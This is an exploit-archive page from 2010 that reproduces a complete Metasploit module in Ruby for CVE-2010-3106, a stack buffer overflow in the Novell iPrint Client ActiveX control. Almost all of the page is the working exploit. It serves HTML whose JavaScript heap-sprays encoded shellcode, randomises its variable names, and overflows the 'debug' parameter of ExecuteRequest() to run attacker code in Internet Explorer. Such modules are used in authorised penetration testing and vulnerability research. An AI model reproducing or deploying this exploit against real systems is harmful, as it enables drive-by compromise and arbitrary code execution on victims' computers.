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Novell iPrint Client ActiveX Control debug Buffer Overflow

Novell iPrint Client ActiveX Control debug Buffer Overflow
Posted Sep 21, 2010
Authored by Trancer | Site metasploit.com

This Metasploit module exploits a stack-based buffer overflow in Novell iPrint Client 5.40. When sending an overly long string to the 'debug' parameter in ExecuteRequest() property of ienipp.ocx an attacker may be able to execute arbitrary code.

tags | exploit, overflow, arbitrary
advisories | CVE-2010-3106
SHA-256 | e50f64e1f69d2ac7f0d33800fc3dc1283cd8c9b8ee93f24befcc1d27e5d76691

Novell iPrint Client ActiveX Control debug Buffer Overflow

Change Mirror Download
##
# novelliprint_executerequest_dbg.rb
#
# Novell iPrint Client ActiveX Control 'debug' Buffer Overflow exploit for the Metasploit Framework
#
# Exploit successfully tested on the following platforms:
# - Novell iPrint Client 5.32 on Internet Explorer 7, Windows XP SP3
# - Novell iPrint Client 5.40 on Internet Explorer 7, Windows XP SP3
# - Novell iPrint Client 5.40 on Internet Explorer 7, Windows Vista SP2
#
# ienipp.ocx version tested:
# File Version: 5.3.2.0 and 5.4.0.0
# ClassID: 36723F97-7AA0-11D4-8919-FF2D71D0D32C
# RegKey Safe for Script: True
# RegKey Safe for Init: True
# KillBitSet: False
#
# References:
# - CVE-2010-3106
# - OSVDB 66960
# - http://dvlabs.tippingpoint.com/advisory/TPTI-10-06 - Original advisory by Aaron Portnoy, TippingPoint DVLabs
# - http://www.exploit-db.com/exploits/15001/ - MOAUB #14 exploit
# - http://www.exploit-db.com/moaub-14-novell-iprint-client-browser-plugin-executerequest-debug-parameter-stack-overflow/ - MOAUB #14 binary analysis
# - http://www.rec-sec.com/2010/09/21/novell-iprint-debug-buffer-overflow-exploit/ - Metasploit exploit by Trancer, Recognize-Security
#
# Trancer
# http://www.rec-sec.com
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer::HTML

def initialize(info = {})
super(update_info(info,
'Name' => 'Novell iPrint Client ActiveX Control debug Buffer Overflow',
'Description' => %q{
This module exploits a stack-based buffer overflow in Novell iPrint Client 5.40.
When sending an overly long string to the 'debug' parameter in ExecuteRequest()
property of ienipp.ocx an attacker may be able to execute arbitrary code.
},
'License' => MSF_LICENSE,
'Author' => [ 'Trancer <mtrancer[at]gmail.com' ],
'Version' => '$Revision:$',
'References' =>
[
[ 'CVE', '2010-3106' ],
[ 'OSVDB', '66960'],
[ 'URL', 'http://dvlabs.tippingpoint.com/advisory/TPTI-10-06' ], # Aaron Portnoy, TippingPoint DVLabs
[ 'URL', 'http://www.exploit-db.com/exploits/15001/' ], # MOAUB #14
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00",
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP0-SP2 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => 0x0A0A0A0A, 'Offset' => 250 } ]
],
'DisclosureDate' => 'Aug 04 2010',
'DefaultTarget' => 0))
end

def autofilter
false
end

def check_dependencies
use_zlib
end

def on_request_uri(cli, request)
# Re-generate the payload.
return if ((p = regenerate_payload(cli)) == nil)

# Encode the shellcode.
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

# Setup exploit buffers
nops = Rex::Text.to_unescape([target.ret].pack('V'))
ret = Rex::Text.uri_encode([target.ret].pack('L'))
blocksize = 0x40000
fillto = 500
offset = target['Offset']

# ActiveX parameters
clsid = "36723F97-7AA0-11D4-8919-FF2D71D0D32C"
op = "op-client-interface-version"
dbg = "debug="

# Randomize the javascript variable names
ienipp = rand_text_alpha(rand(100) + 1)
j_shellcode = rand_text_alpha(rand(100) + 1)
j_nops = rand_text_alpha(rand(100) + 1)
j_ret = rand_text_alpha(rand(100) + 1)
j_headersize = rand_text_alpha(rand(100) + 1)
j_slackspace = rand_text_alpha(rand(100) + 1)
j_fillblock = rand_text_alpha(rand(100) + 1)
j_block = rand_text_alpha(rand(100) + 1)
j_memory = rand_text_alpha(rand(100) + 1)
j_op = rand_text_alpha(rand(100) + 1)
j_dbg = rand_text_alpha(rand(100) + 1)
j_counter = rand_text_alpha(rand(30) + 2)

html = %Q|<html>
<object classid='clsid:#{clsid}' id='#{ienipp}'></object>
<script>
var #{j_shellcode} = unescape('#{shellcode}');
var #{j_nops} = unescape('#{nops}');
var #{j_headersize} = 20;
var #{j_slackspace} = #{j_headersize} + #{j_shellcode}.length;
while (#{j_nops}.length < #{j_slackspace}) #{j_nops} += #{j_nops};
var #{j_fillblock} = #{j_nops}.substring(0,#{j_slackspace});
var #{j_block} = #{j_nops}.substring(0,#{j_nops}.length - #{j_slackspace});
while (#{j_block}.length + #{j_slackspace} < #{blocksize}) #{j_block} = #{j_block} + #{j_block} + #{j_fillblock};
var #{j_memory} = new Array();
for (#{j_counter} = 0; #{j_counter} < #{fillto}; #{j_counter}++) {
#{j_memory}[#{j_counter}] = #{j_block} + #{j_shellcode};
}

var #{j_ret} = '';
for (#{j_counter} = 0; #{j_counter} <= #{offset}; #{j_counter}++) {
#{j_ret} += unescape('#{ret}');
}
#{j_op} = "#{op}";
#{j_dbg} = "#{dbg}";
#{ienipp}.ExecuteRequest(#{j_op}, #{j_dbg} + #{j_ret});
</script>
</html>|

print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

# Transmit the response to the client
send_response(cli, html, { 'Content-Type' => 'text/html' })

# Handle the payload
handler(cli)
end

end

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